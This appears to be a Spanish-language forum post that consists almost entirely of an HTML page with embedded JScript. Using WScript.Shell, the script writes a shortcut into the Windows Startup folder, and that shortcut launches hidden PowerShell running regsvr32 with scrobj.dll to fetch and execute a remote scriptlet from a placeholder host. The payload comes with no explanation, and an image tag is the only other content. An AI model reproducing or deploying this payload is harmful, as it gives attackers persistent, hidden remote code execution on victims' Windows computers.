[Enlace externo eliminado para invitados]

Código: Seleccionar todo
<html>
<body>
<script>
var Myshell = new ActiveXObject("WScript.Shell");
var mypath = Myshell.SpecialFolders("startup");
var myshortcut = Myshell.CreateShortcut(mypath+'\\xram.lnk');
var mySystemRoot = Myshell.ExpandEnvironmentStrings("%SystemRoot%");
myshortcut.TargetPath = '\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe';
myshortcut.Arguments = "-w Hidden regsvr32.exe /s /i:http://127.0.0.1/server.sct scrobj.dll";
myshortcut.WorkingDirectory = Myshell.ExpandEnvironmentStrings(mypath);
myshortcut.WindowStyle = 4;
myshortcut.Save();
</script>
<p><img src="https://i.postimg.cc/SQ5tR757/image.jpg"></p>
</body>
</html>